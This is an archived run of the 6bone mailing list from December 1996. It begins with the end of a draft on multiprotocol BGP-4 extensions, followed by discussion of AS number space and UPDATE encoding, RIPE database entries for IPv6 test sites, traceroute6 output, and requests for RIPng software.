 >    as a next hop, for a route that the speaker is originating.  A BGP
 >    speaker must never install a route with itself as the next hop.
 > 
 >    When a BGP speaker advertises the route to an internal peer, the
 >    advertising speaker should not modify the next hop information
 >    associated with the route.  When a BGP speaker receives the route via
 >    an internal link, it may forward packets to the next hop address if
 >    the address contained in the attribute is on a common subnet with the
 >    local and remote BGP speakers.
 > 
 > 
 > 5. Multiprotocol Unreachable NLRI - MP_UNREACH_NLRI (Type Code 15):
 > 
 >    This is an optional non-transitive attribute that can be used for the
 >    purpose of withdrawing multiple unfeasible routes from service.
 > 
 >    The attribute is encoded as shown below:
 > 
 >       +-----------------------------+
 >       | Address Family (2 octets)   |
 >       +-----------------------------+
 >       | Withdrawn Routes (variable) |
 >       +-----------------------------+
 > 
 > 
 > 
 > 
 > Bates, Chandra, Katz, Rekhter                                   [Page 5]
 > 
 > 
 > 
 > 
 > 
 > Internet Draft   draft-bates-bgp4-multiprotocol-00.txt     December 1996
 > 
 > 
 >    The use and the meaning of these fields are as follows:
 > 
 >       Address Family
 > 
 >          This field carries the identity of the Network Layer protocol
 >          associated with the NLRI that follows. Presently defined values
 >          for this field are specified in RFC1700.
 > 
 >       Withdrawn Routes:
 > 
 >          This is a variable length field that contains a list of NLRIs
 >          for the routes that are being withdrawn from service. Each NLRI
 >          is encoded as specified in the "NLRI encoding" section of this
 >          document.
 > 
 > 
 > 
 > 6. NLRI encoding
 > 
 >    The Network Layer Reachability information is encoded as one or more
 >    2-tuples of the form <length, prefix>, whose fields are described
 >    below:
 > 
 > 
 >       +---------------------------+
 >       |   Length (1 octet)        |
 >       +---------------------------+
 >       |   Prefix (variable)       |
 >       +---------------------------+
 > 
 > 
 > 
 >    The use and the meaning of these fields are as follows:
 > 
 >       a) Length:
 > 
 >          The Length field indicates the length in bits of the address
 >          prefix. A length of zero indicates a prefix that matches all
 >          (as specified by the address family) addresses (with prefix,
 >          itself, of zero octets).
 > 
 >       b) Prefix:
 > 
 >          The Prefix field contains address prefixes followed by enough
 >          trailing bits to make the end of the field fall on an octet
 >          boundary.  Note that the value of trailing bits is irrelevant.
 > 
 > 
 > 
 > 
 > 
 > Bates, Chandra, Katz, Rekhter                                   [Page 6]
 > 
 > 
 > 
 > 
 > 
 > Internet Draft   draft-bates-bgp4-multiprotocol-00.txt     December 1996
 > 
 > 
 > 7. Security Considerations
 > 
 >    Security issues are not discussed in this document.
 > 
 > 
 > 8. Acknowledgements
 > 
 >    To be supplied.
 > 
 > 
 > 9. References
 > 
 > 
 >    [BGP-4]
 > 
 >    [IPv4]
 > 
 >    [IPv6]
 > 
 >    [RFC1700]
 > 
 > 
 > 10. Author Information
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > Bates, Chandra, Katz, Rekhter                                   [Page 7]
 > 
 > 
 > 
 > 
 > 
 > Internet Draft   draft-bates-bgp4-multiprotocol-00.txt     December 1996
 > 
 > 
 > 
 >    Tony Bates
 >    Cisco Systems, Inc.
 >    170 West Tasman Drive
 >    San Jose, CA 95134
 >    email: tbates@cisco.com
 > 
 >    Ravi Chandra
 >    Cisco Systems, Inc.
 >    170 West Tasman Drive
 >    San Jose, CA 95134
 >    email: rchandra@cisco.com
 > 
 >    Dave Katz
 >    Cisco Systems, Inc.
 >    170 West Tasman Drive
 >    San Jose, CA 95134
 >    email: dkatz@cisco.com
 > 
 >    Yakov Rekhter
 >    Cisco Systems, Inc.
 >    170 West Tasman Drive
 >    San Jose, CA 95134
 >    email: yakov@cisco.com
 > 
 > Internet Draft   draft-bates-bgp4-multiprotocol-00.txt     December 1996
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 
 > 

 > 
 > 
 > 
 > 
 > 
 > 
 > 

 > Bates, Chandra, Katz, Rekhter                                   [Page 8]
 > 
 > 

From majordom@ISI.EDU  Wed Dec 18 12:37:52 1996
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To: Yakov Rekhter <yakov@cisco.com>
Cc: skh@merit.edu, 6bone@isi.edu, dkatz@cisco.com, bgp@ans.net
Subject: Re: BGP-4+ 
In-Reply-To: Your message of "Wed, 18 Dec 1996 14:27:54 PST."
             <199612182227.OAA19295@puli.cisco.com> 
X-Phone: +1 703 812 3704
Date: Wed, 18 Dec 1996 17:37:52 EST
From: "John W. Stewart III" <jstewart@metro.isi.edu>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO


 > > also, from reading the draft, i'm assuming that you plan
 > > to support only ASs and not RDs? did you consider typing
 > > routing domains in addition to network addresses?
 > 
 > I am a bit confused - in my mind "RD" and "AS" describe
 > pretty much similar thing. 

AS is two bytes, while RD is variable.  right? or is
it me that's confused?

/jws

From majordom@ISI.EDU  Thu Dec 19 11:16:39 1996
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From: Thomas.Eklund@era-t.ericsson.se (Thomas Eklund T/N)
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To: 6bone@ISI.EDU
Subject: RIPng
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Hi,
I'm wondering where I can get a RIPng implementation. It was mentioned in the 
6bone BOF but I didn't get the address where to download it from. Could someone 
please help me out here.
Thomas Eklund

From majordom@ISI.EDU  Thu Dec 19 05:29:57 1996
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From: dhaskin@baynetworks.com (Dimitry Haskin)
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To: dkatz@cisco.com
Subject: Re: BGP-4+
Cc: yakov@cisco.com, jstewart@metro.isi.edu, photon@nol.net, 6bone@isi.edu,
        bgp@ans.net, dhaskin@mailhost4.BayNetworks.COM
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> 
> The expansion of the AS/RD space is an orthogonal issue, and one that is
> far more difficult to achieve in a backward compatible fashion.  I would
> argue that this is beyond the scope of the hack on the table...
> 

1) Is the backward compatibility with BGP4 is really necessary or even useful
   for v6?

2) What are actual benefits and applicability of the proposed multiprotocol
   capabilities of BGP4+?  Can we require that all v6 RD boundaries
   stay the same as the v4 AS boundaries for the proposed scheme to work? 

3) Depending on the answer on 1) and 2), it may be that BGPng don't
   have to be more a hack that BGP4 is, and to this end provide
   a longer term solution that "the hack on the table".

4) Not that I necessary disagree that 2-byte AS space is large enough
   for the time being,  but, if there is any discomfort with that,
   it is a perfect opportunity to use expanded space for v6 (to avoid
   pain later).

Dimitry

From majordom@ISI.EDU  Thu Dec 19 05:46:12 1996
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To: Dave Katz <dkatz@cisco.com>
Cc: photon@nol.net, yakov@cisco.com, 6bone@isi.edu, bgp@ans.net
Subject: Re: BGP-4+ 
In-Reply-To: Your message of "Wed, 18 Dec 1996 16:42:32 PST."
             <199612190042.QAA25743@puli.cisco.com> 
X-Phone: +1 703 812 3704
Date: Thu, 19 Dec 1996 10:46:12 EST
From: "John W. Stewart III" <jstewart@metro.isi.edu>
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Precedence: bulk
Status: RO


 > The expansion of the AS/RD space is an orthogonal issue, and one that is
 > far more difficult to achieve in a backward compatible fashion.  I would
 > argue that this is beyond the scope of the hack on the table...

i understand what you're saying

but it makes me wonder what the goal is of these bgp4 extensions.
i had thought that it was mainly to make it easier for providers
to start routing ipv6:  by allowing bgp4 to do it, then we get to
use a protocol we already know very well.  by allowing bgp4 to
route ipv6 (as well as any other protocol with an Address Family
identifier) then couldn't bgp4 become even more entreanched than
it already is?  in other words, if bgp4 becomes multiprotocol,
then why would i *ever* care to switch to idrp?  and if the result
of this is an increased lifetime for bgp4, then shouldn't the
future of the AS space be addressed now?

if the authors of the draft had envisioned a different future,
then perhaps it would be useful for that to be spelled out

/jws

 > 
 >    X-Auth: NOLNET SENDMAIL AUTH
 >    Date: Wed, 18 Dec 1996 17:31:25 -0600 (CST)
 >    From: Brandon Black <photon@nol.net>
 >    Mime-Version: 1.0
 >    Content-Type: TEXT/PLAIN; charset=US-ASCII
 >    Sender: owner-idr@merit.edu
 >    Precedence: bulk
 > 
 >    On Wed, 18 Dec 1996, Yakov Rekhter wrote:
 > 
 >    > John,
 >    >  
 >    > >  > > also, from reading the draft, i'm assuming that you plan
 >    > >  > > to support only ASs and not RDs? did you consider typing
 >    > >  > > routing domains in addition to network addresses?
 >    > >  > 
 >    > >  > I am a bit confused - in my mind "RD" and "AS" describe
 >    > >  > pretty much similar thing. 
 >    > > 
 >    > > AS is two bytes, while RD is variable.  right? or is
 >    > > it me that's confused?
 >    > 
 >    > Ok, I got it (I was confused). 
 >    > 
 >    > To answer your question, it doesn't look like we'll have shortage of 
 >    > ASs any time soon. So, it is not clear if there is a need for variable
 >    > length RDs.
 >    > 
 >    > Yakov.
 >    > 
 > 
 >    Famous last words :)
 > 
 >    Bill Gates I think once said something along the lines of "nobody will
 >    _ever_ need more than 640 kilobytes of main memory"
 > 
 >    And somebody (some whole group of bodies) once thought that a 32-bit IP
 >    address would hold off for along time....
 > 
 >    Just food for thought...
 > 
 >    .................................             ..............
 >    : Brandon Lee Black  : [Office] :.............: [Personal] :....
 >    :....................: brandon.black@wcom.com : photon@nol.net :.......
 >    : "Sanity is the     : +1.281.362.6466 .......: photon@gnu.ai.mit.edu :
 >    : trademark of a     :.................:..../\: vis_blb@unx1.shsu.edu :
 >    : weak mind. . ."    : LDDS WorldCom, Inc. :\/: +1.281.397.3490 ......:
 >    :....................:.....................:..:.................:
 > 
 > 

From majordom@ISI.EDU  Fri Dec 20 15:34:31 1996
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To: 6bone@isi.edu
Cc: jork@kar.dec.com, brandner@kar.dec.com
Subject: RIPE database update
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Date: Fri, 20 Dec 96 14:34:31 +0100
From: Rudolf Brandner  CEC Karlsruhe  (+49-721-690231) <brandner@kar.dec.com>
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Hi all,

following is an RIPE database update.
I've added a new RIPnG tunnel and corrected my mail address.

site:           Digital Equipment Corporation
location:       Karlsruhe, Germany
loc-string:     49 00 54n 8 24 18e 150m
prefix:         5F04:FB00:810D:A900::/80
ping:           earc-rtr.ipv6.kar-x.dec.com (5F04:FB00:810D:A900::F84A:A7B0)
ping:           earc.ipv6.kar-x.dec.com (5F04:FB00:810D:A900::800:2B3C:1FAD)
tunnel:         129.13.169.3    204.123.2.236   DIGITAL-CA/US (RIPnG)
tunnel:         129.13.169.3    141.39.66.6     DETEBERKOM/DE (RIPnG)
tunnel-v4:      earc-rtr.kar-x.dec.com (129.13.169.3)
contact:        <brandner|jork>@kar.dec.com
status:         operational since 12-DEC-1996
remark:         RouteAbout Access EI/IPv6, Digital UNIX IPv6
remark:         New tunnels added, RIP or static; send mail to contact
changed:        brandner@kar.dec.com 19961220
source:         RIPE

Regards,
Rudolf Brandner
CEC Karlsruhe, European Applied Research Center
Digital Equipment Corporation
email: brandner@kar.dec.com



From majordom@ISI.EDU  Fri Dec 20 07:44:47 1996
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Date: Fri, 20 Dec 1996 13:44:47 -0600
From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: routin loop
In-Reply-To: "18 Dec 1996 08:57:17 PST."
 <"199612181657.IAA02000"@hershey.es.net>
To: "Rebecca L. Nitzan" <nitzan@es.net>
Cc: 6bone@ISI.EDU
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X-Face: 
 /RKQi"kntyd}7l)d8n%'Dum<~(aMW3,5g&'NiH5I4Jj|wT:j;Qa$!@A<~/*C:{:MmAQ:o%S /KKi}G4_.||4I[9!{%3]Hd"a*E{<k&QF?d6L7o&zLqb%kXn!!]ykXMKtTiy9#20]$EKP/^Z$T]'P6,
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> From ESnet it looks like I can't reach any of the FNAL hosts either,
> I tried all 4 of them that I know of. We'll follow up w/FNAL.

Yeah, well ... our entry point is/was a Sun, and there turned out to
be a gaping wide security hole in Solaris 2.X such that anyone on the
internet could become root.  Fixing that bug conflicted with IPv6, so
we're off until the v6 guys roll the bugfix into their release.

Bummer.

From majordom@ISI.EDU  Fri Dec 20 11:08:00 1996
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To: 6bone@ISI.EDU
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# traceroute6 !$
traceroute6 5f35:6100:ce60:d900:1:0:c082:7710
traceroute to 5f35:6100:ce60:d900:1:0:c082:7710
(5F35:6100:CE60:D900:1::C082:7710), 30 hops max, 24 byte packets
 1  ::198.128.2.27 (::198.128.2.27)  71.248 ms  70.272 ms  72.224 ms
 2  6bone-router.cisco.com (5F00:6D00:C01F:700:1:60:3E11:6770)  106.384
ms *  103.456 ms
 3  * * *
 4  6bone-router.cisco.com (5F00:6D00:C01F:700:1:60:3E11:6770)  106.384
ms * *
 5  * * *
 6  6bone-router.cisco.com (5F00:6D00:C01F:700:1:60:3E11:6770)  113.216
ms *  111.264 ms

-- 

                                 Lawrence
                                    ~
------------------------------------------------------------------------
Lawrence MacIntyre       Oak Ridge National Laboratory      423.574.8696 
lpz@ornl.gov   http://www.epm.ornl.gov/~lpz    lpz@nautique.epm.ornl.gov

From majordom@ISI.EDU  Fri Dec 20 13:14:53 1996
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Message-Id: <199612202108.WAA27850@vbormc.vbo.dec.com>
Received: from ulysse.enet; by vbormc.enet; Fri, 20 Dec 96 22:14:32 MET
Date: Fri, 20 Dec 96 22:14:32 MET
From: Robert (Bob) Watson <watson@ulysse.enet.dec.com>
To: "6bone@isi.edu"@vbormc.vbo.dec.com
Cc: watson@ulysse.enet.dec.com
Apparently-To: 6bone@isi.edu
Subject: New Site DIGITAL-ETC
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

    Hi,

    We have a new site now operational, from the Digital European Technical
    Centre, Sophia Antipolis, France.

    There is no nameserver just yet, just an IPv6 Router. The Nameserver  will
    come on-line in a week or so (christmas permitting). The RIPE record is
    below. It will be in the database shortly.

    Regards

    Bob Watson, Digital

site:           Digital Equipment Corporation
location:       Centre Technique Europe, Sophia Antipolis, France
prefix:         5F06:B500:C138:0F00::/64
ping:           5F06:B500:C138:0F00::F8A4:8428 vboipv6rtr.ipv6.europe.digital.com
tunnel:         193.56.15.54 204.123.2.236  DIGITAL-CA
tunnel:         193.56.15.54 129.13.169.3   DIGITAL-EARC
contact:        robert.watson@vbo.mts.dec.com
status:         operational since 20-Dec-1996
remark:		Digital RouteAbout Access EI-ISDN /IPv6
remark:         New tunnels added, RIP or static; send mail to contact
changed:        rwatson@sutra.enet.dec.com 961220
source:         RIPE


From majordom@ISI.EDU  Sun Dec 22 13:15:16 1996
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To: Yakov Rekhter <yakov@cisco.com>
Cc: Dennis Ferguson <dennis@jnx.com>, 6bone@isi.edu, bgp@ans.net
Subject: Re: BGP-4+ 
In-Reply-To: Your message of "Sun, 22 Dec 1996 06:29:18 PST."
             <199612221429.GAA03193@puli.cisco.com> 
X-Phone: +1 703 812 3704
Date: Sun, 22 Dec 1996 18:15:16 EST
From: "John W. Stewart III" <jstewart@metro.isi.edu>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO


i have a follow-up question to one of the things dennis asked,
but i have a general question as well

the UPDATE message looks like:

      +-----------------------------------------------------+
      |   Unfeasible Routes Length (2 octets)               |
      +-----------------------------------------------------+
      |  Withdrawn Routes (variable)                        |
      +-----------------------------------------------------+
      |   Total Path Attribute Length (2 octets)            |
      +-----------------------------------------------------+
      |    Path Attributes (variable)                       |
      +-----------------------------------------------------+
      |   Network Layer Reachability Information (variable) |
      +-----------------------------------------------------+

let's say that i'm an implementation with these extensions and
i want to advertise an IPv6 route over an ebgp session with
just the mandatory well-known attributes ORIGIN="IGP",
AS-PATH="3561" and NEXT-HOP="10.1.1.1".  what do i put in the
"NLRI" field of the UPDATE message (not the NLRI component of
the attribute)?  as i read it, the proposed extension doesn't
include the ability to specify attributes within the
MP_REACH_NLRI attribute, so the "Total Path Attribute Length"
and "Path Attributes" fields of the UPDATE message need to be
used.  the spec says:

 >>
 >>   Total Path Attribute Length:
 >>
 >>      [...]
 >>
 >>      A value of 0 indicates that no Network Layer Reachability
 >>      Information field is present in this UPDATE message.
 >>

so conversely a non-zero value in "Total Path Attribute Length"
means that NLRI *is* present.  since i need to associate
attributes with the IPv6 route, "Total Path Attribute Length"
needs to be non-zero, so what goes in NLRI if i don't have any
IP4-related thing to do in this message?

 > > (2) It seems to me advantageous that IPv4 and IPv6 routes with the same pa
th
 > >     attributes are able to be advertised in the same update message, rathe
r
 > >     than replicating the same set of attributes in two messages.  The curr
ent
 > >     proposal does indeed allow this to happen.  Given that this may have e
ven
 > >     been designed in rather than happy circumstance, however, I find the
 > 
 > It was intentional - not just "happy circumstance". 
 > 
 > >     `Address Family' field a bit annoying.  There seem to be only two
 > >     possibilities for its use:
 > > 
 > >     (i) BGP-4 never carries routes from an address family other than IPv4
 > >         and IPv6.  In this case the address family field is a constant in
 > >         attributes with type codes 0x14 and 0x15, and might just as well
 > > 	have not been present since 0x14 and 0x15 always imply IPv6.
 > > 
 > >     (ii) BGP-4 is used to carry routes from address families in addition
 > > 	to IPv4 and IPv6.  In this case the address family field is a
 > > 	variable, but the constraint on a path attribute type appearing
 > > 	twice in one message now prevents you from listing all routes with
 > > 	the same attributes in the same message, independent of family.
 > > 	That is, you get to advertise IPv4 and something in the same message,
 > > 	but only one something.
 > 
 > Yes, this is an undesirable restriction.
 > 
 > >     Given that the total number of protocol families there are to carry in
 > >     BGP-4 is relatively small anyway, that type codes are not in short
 > >     supply and that the `Address Family' seems more a constraint than a
 > >     generalization, might it not be better to do away with the address
 > >     family identifier and just use different attribute type codes to
 > >     identify the x_REACH_NRLI's and x_UNREACH_NLRI's for different
 > >     protocols?
 > 
 > This is certainly one possibility. Another possibility is to allow
 > MP_REACH_NLRI and MP_UNREACH_NLRI to carry NLRI for multiple address
 > families (this would require minor changes to the proposed encoding).

given that the attributes of an advertised route will always
include AS-PATH, ORIGIN and NEXT-HOP (and LOCAL-PREF for IBGP),
and given that in practice there is a high degree of
variability of these fields (the variability of each
individually is high and in combination the variability is even
higher), is it necessary to complicate the protocol with an
optimization which would require an implementation to be very
ineffecient to take advantage of?

/jws

From majordom@ISI.EDU  Sun Dec 22 07:20:29 1996
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Date: Sun, 22 Dec 1996 15:20:29 -0800 (PST)
From: Ben Kirkpatrick <ben@ibs-us.net>
To: 6bone@ISI.EDU
Subject: INRIA code 961129 on FreeBSD2.1.6
Message-Id: <Pine.SOL.3.91.961222151830.11915F-100000@regina>
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   Could someone please point me towards the proper list for
discussing the Inria IPv6 code or IPv6 under any BSD.
Thanks,

Sideways to the Sun,  www.ibs-us.net/~ben 45.5183754N/-122.6750031W
--Ben Kirkpatrick IBS 503.227.7010 fax 503.227.5778 page 503.229.3199


From majordom@ISI.EDU  Sun Dec 22 08:00:52 1996
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Date: Sun, 22 Dec 1996 16:00:52 -0800 (PST)
From: Ben Kirkpatrick <ben@ibs-us.net>
To: 6bone@isi.edu
Subject: Form to generate RFC1897 format addresses...
Message-Id: <Pine.SOL.3.91.961222152945.11915H-100000@regina>
Mime-Version: 1.0
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   I setup a form to compute IPv6 addresses.  It's not foolproof,
but might be useful.  So give it a whirl and throw me some feedback.

http://www.ibs-us.net/ipv6

--Ben Kirkpatrick IBS 503.227.7010 fax 503.227.5778 


From majordom@ISI.EDU  Mon Dec 23 10:25:59 1996
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Message-Id: <199612231018.KAA01989@gate.ticl.co.uk>
From: "Peter Curran" <pcurran@ticl.co.uk>
To: "Ben Kirkpatrick" <ben@ibs-us.net>, <6bone@ISI.EDU>
Subject: Re: INRIA code 961129 on FreeBSD2.1.6
Date: Mon, 23 Dec 1996 10:25:59 -0000
X-Msmail-Priority: Normal
X-Priority: 3
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If this gem could be shared with the list, then that would be helpful to
many.

I guess the FreeBSD question probably comes under the FreeBSD list - not
sure the name, but check out http://www.freebsd.org.

Peter
TICL

----------
> From: Ben Kirkpatrick <ben@ibs-us.net>
> To: 6bone@ISI.EDU
> Subject: INRIA code 961129 on FreeBSD2.1.6
> Date: 22 December 1996 23:20
> 
>    Could someone please point me towards the proper list for
> discussing the Inria IPv6 code or IPv6 under any BSD.
> Thanks,
> 
> Sideways to the Sun,  www.ibs-us.net/~ben 45.5183754N/-122.6750031W
> --Ben Kirkpatrick IBS 503.227.7010 fax 503.227.5778 page 503.229.3199
> 

From majordom@ISI.EDU  Mon Dec 23 13:50:50 1996
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Message-Id: <199612231150.MAA02803@x0.ripe.net>
To: 6bone@isi.edu
Subject: Message for Roger Buttiens
From: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
X-Organization: RIPE Network Coordination Centre
X-Phone: +31 20 592 5065
Date: Mon, 23 Dec 1996 12:50:50 +0100
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Status: RO


[Sorry to shout, but I can't reach him otherwise]

Would 
	Roger Buttiens <Roger.Buttiens@vivaOSI.bro.dec.com>
please contact me and send an alternative email address?

The current one is bouncing.

Thanks,

Geert Jan


From majordom@ISI.EDU  Mon Dec 23 00:02:38 1996
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  by atlantis.intercenter.net with SMTP; 23 Dec 1996 13:05:14 -0000
Message-Id: <32BEAD1E.3158@phase2net.com>
Date: Mon, 23 Dec 1996 08:02:38 -0800
From: Jeff Pickering <jpickering@phase2net.com>
Reply-To: jpickering@phase2net.com
Organization: phase2 Networks
X-Mailer: Mozilla 3.0 (Win16; I)
Mime-Version: 1.0
To: 6bone@isi.edu
Subject: new tunnel
Content-Type: multipart/mixed; boundary="------------1F9574BD7896"
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This is a multi-part message in MIME format.

--------------1F9574BD7896
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

We have added a new tunnel to NRL. Do appropriate routing entries
get added automatically via the RIPE database, or do I need to
specifically request that an entry be added?

Jeff

--------------1F9574BD7896
Content-Type: text/plain; charset=us-ascii; name="RIPEREG.DOC"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline; filename="RIPEREG.DOC"


site:          phase2 Networks
location:      Durham, North Carolina, USA
prefix:        5f35:6100:ce60:d900/64
ping:          5f35:6100:ce60:d900:1:0:c082:7710
tunnel:        206.96.217.178 132.250.90.5 NRL, USA Static Routing
contact:       jeff pickering <jpickering@phase2net.com>
status:        operational since December 1996, dial out only
remark:        
changed:       jpickering@phase2net.com 961209
source:        RIPE

--------------1F9574BD7896--



From majordom@ISI.EDU  Mon Dec 23 05:10:04 1996
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Message-Id: <199612231510.AA13702@metro.isi.edu>
To: Yakov Rekhter <yakov@cisco.com>
Cc: 6bone@isi.edu, bgp@ans.net
Subject: Re: BGP-4+ 
In-Reply-To: Your message of "Mon, 23 Dec 1996 05:43:06 PST."
             <199612231343.FAA05649@puli.cisco.com> 
X-Phone: +1 703 812 3704
Date: Mon, 23 Dec 1996 10:10:04 EST
From: "John W. Stewart III" <jstewart@metro.isi.edu>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO


i guess i don't understand the spec completely, then.
how do you specify no NLRI, then?  a prefix-length of
0 doesn't do it because that means 0.0.0.0/0, right?

/jws

 > John,
 >  
 > > i have a follow-up question to one of the things dennis asked,
 > > but i have a general question as well
 > > 
 > > the UPDATE message looks like:
 > > 
 > >       +-----------------------------------------------------+
 > >       |   Unfeasible Routes Length (2 octets)               |
 > >       +-----------------------------------------------------+
 > >       |  Withdrawn Routes (variable)                        |
 > >       +-----------------------------------------------------+
 > >       |   Total Path Attribute Length (2 octets)            |
 > >       +-----------------------------------------------------+
 > >       |    Path Attributes (variable)                       |
 > >       +-----------------------------------------------------+
 > >       |   Network Layer Reachability Information (variable) |
 > >       +-----------------------------------------------------+
 > > 
 > > let's say that i'm an implementation with these extensions and
 > > i want to advertise an IPv6 route over an ebgp session with
 > > just the mandatory well-known attributes ORIGIN="IGP",
 > > AS-PATH="3561" and NEXT-HOP="10.1.1.1".  what do i put in the
 > > "NLRI" field of the UPDATE message (not the NLRI component of
 > > the attribute)?  as i read it, the proposed extension doesn't
 > > include the ability to specify attributes within the
 > > MP_REACH_NLRI attribute, so the "Total Path Attribute Length"
 > > and "Path Attributes" fields of the UPDATE message need to be
 > > used.  the spec says:
 > > 
 > >  >>
 > >  >>   Total Path Attribute Length:
 > >  >>
 > >  >>      [...]
 > >  >>
 > >  >>      A value of 0 indicates that no Network Layer Reachability
 > >  >>      Information field is present in this UPDATE message.
 > >  >>
 > > 
 > > so conversely a non-zero value in "Total Path Attribute Length"
 > > means that NLRI *is* present.  since i need to associate
 > > attributes with the IPv6 route, "Total Path Attribute Length"
 > > needs to be non-zero, so what goes in NLRI if i don't have any
 > > IP4-related thing to do in this message?
 > 
 > The converse is not true (and perhaps this should be clarified in the
 > BGP-4 spec). That is, "Total Path Attribute Length" may be non-zero *and* 
 > no NLRI may be present. This way one could have NLRI carried only in the
 > MP_REACH_NLRI and have all the other necessary attributes as well.
 > 
 > Yakov.

From majordom@ISI.EDU  Mon Dec 23 08:22:09 1996
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Message-Id: <32BECDD1.167E@nautique.epm.ornl.gov>
Date: Mon, 23 Dec 1996 13:22:09 -0500
From: Lawrence MacIntyre <lpz@nautique.epm.ornl.gov>
Organization: Oak Ridge National Laboratory
X-Mailer: Mozilla 3.0 (X11; I; OSF1 V3.2 alpha)
Mime-Version: 1.0
To: jpickering@phase2net.com
Cc: 6bone@ISI.EDU
Subject: Re: new tunnel
References: <32BEAD1E.3158@phase2net.com>
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Jeff Pickering wrote:
> 
> We have added a new tunnel to NRL. Do appropriate routing entries
> get added automatically via the RIPE database, or do I need to
> specifically request that an entry be added?
> 
> Jeff
> 
>     ---------------------------------------------------------------
> 
> site:          phase2 Networks
> location:      Durham, North Carolina, USA
> prefix:        5f35:6100:ce60:d900/64
> ping:          5f35:6100:ce60:d900:1:0:c082:7710
> tunnel:        206.96.217.178 132.250.90.5 NRL, USA Static Routing
> contact:       jeff pickering <jpickering@phase2net.com>
> status:        operational since December 1996, dial out only
> remark:
> changed:       jpickering@phase2net.com 961209
> source:        RIPE

I still can't get there from here.  I reported this last week as well...
scorpion.epm.ornl.gov> traceroute6 5f35:6100:ce60:d900:1:0:c082:7710
traceroute to 5f35:6100:ce60:d900:1:0:c082:7710
(5F35:6100:CE60:D900:1::C082:771
0), 30 hops max, 24 byte packets
 1  ::198.128.2.27 (::198.128.2.27)  71.248 ms  71.248 ms  71.248 ms
 2  6bone-router.cisco.com (5F00:6D00:C01F:700:1:60:3E11:6770)  102.08
ms *  98.
576 ms
 3  * * *
 4  6bone-router.cisco.com (5F00:6D00:C01F:700:1:60:3E11:6770)  105.408
ms *  99
.552 ms
 5  * * *
 6  6bone-router.cisco.com (5F00:6D00:C01F:700:1:60:3E11:6770)  145.424
ms *  15
2.256 ms


-- 

                                 Lawrence
                                    ~
------------------------------------------------------------------------
Lawrence MacIntyre       Oak Ridge National Laboratory      423.574.8696 
lpz@ornl.gov   http://www.epm.ornl.gov/~lpz    lpz@nautique.epm.ornl.gov

From majordom@ISI.EDU  Mon Dec 23 10:45:38 1996
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Message-Id: <199612232045.PAA13888@merit.edu>
To: Thomas.Eklund@era-t.ericsson.se (Thomas Eklund T/N)
Cc: 6bone@ISI.EDU, Craig Labovitz <labovit@merit.edu>
Subject: Re: RIPng 
In-Reply-To: Your message of "Thu, 19 Dec 1996 10:16:39 +0100."
             <199612190916.KAA24913@mackabee> 
Date: Mon, 23 Dec 1996 15:45:38 -0500
From: Masaki Hirabaru <masaki@merit.edu>
Sender: owner-6bone@ISI.EDU
Precedence: bulk
Status: RO

Thomas,

One of RIPng implementations which runs on Linux, INRIA FreeBSD,
and Solaris IPv6 is available at

    ftp://ftp.merit.edu/net-research/mrt/mrt-1.3.3A.tar.gz.

Information page is also available at

    http://compute.merit.edu/mrt/.

Currently, it can communicates with other router-based RIPng
implementations over configured tunnels only when it runs on
Linux IPv6.

I know GateD team here is also trying to incorporate another
gated-based RIPng implementation contributed.

Masaki

> From: Thomas.Eklund@era-t.ericsson.se (Thomas Eklund T/N)
> Date: Thu, 19 Dec 1996 10:16:39 +0100
> Message-Id: <199612190916.KAA24913@mackabee>
> To: 6bone@ISI.EDU
> Subject: RIPng
> 
> Hi,
> I'm wondering where I can get a RIPng implementation. It was mentioned in the 
> 6bone BOF but I didn't get the address where to download it from. Could someone 
> please help me out here.
> Thomas Eklund


From majordom@ISI.EDU  Thu Dec 26 07:34:21 1996
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Date: Thu, 26 Dec 1996 15:34:21 -0800 (PST)
From: Ben Kirkpatrick <ben@ibs-us.net>
To: 6bone@ISI.EDU
Subject: Form to create IPv6 addr's fixed.
Message-Id: <Pine.SOL.3.91.961226152544.934E-100000@regina>
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   The form I mentioned before had a minor byte swapping problem
that has since been fixed.  See http://www.ibs-us.net/ipv6
Thanks to Rick Chiang and Mark Constable for pointing this out.

Sideways to the Sun,  www.ibs-us.net/~ben 45.5183754N/-122.6750031W
--Ben Kirkpatrick IBS 503.227.7010 fax 503.227.5778 page 503.229.3199




From majordom@ISI.EDU  Fri Dec 27 18:23:50 1996
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Message-Id: <199612280823.BAA05331@are.cs.colorado.edu>
To: 6bone@isi.edu
Subject: Connection to 6bone (request)
From: Adam Boggs <boggs@cs.colorado.edu>
Date: Sat, 28 Dec 1996 01:23:50 -0700
Sender: owner-6bone@ISI.EDU
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Status: RO


Hi there,
I'd like to get a couple of machines here at the University of Colorado
up on the 6bone.  I have one machine with two network interfaces
running Linux (2.1.17), and another which will probably run BSDi.
I would like the Linux machine to route from a tunnel to a native
IPv6 net on the other side. (yeah, it'll only have one machine for
now...)  Does anybody see an immediate problem with this?  I'm just
starting with this stuff, so comments are appreciated.

I guess there are a couple of issues I need resolved still:

1) I need a tunnel.  I checked out the RIPE database but was not
sure how to go about finding someone close. (is closeness an issue
right now?)  Any offers or suggestions on where I might look further?

2) RIPE entry.  The FAQ I read said to ask here for the anonymous
ftp password.  Is this still the way entries are updated?  If so,
would someone please send me the password(s)?  Here is my so far
incomplete entry.

site:           University of Colorado
location:       Boulder, CO, USA
loc-string:     40 0 0n 106 0 0w 1760m
prefix:         
ping:           
tunnel:         
contact:        Adam Boggs <boggs@cs.colorado.edu>
status:         planned
remark:         
changed:        boggs@cs.colorado.edu Dec. 28, 1996
source:         RIPE


3) Address space.  I understand we're using the test addresses from
RFC 1897, but I'm still unclear on what to use for the AS number.
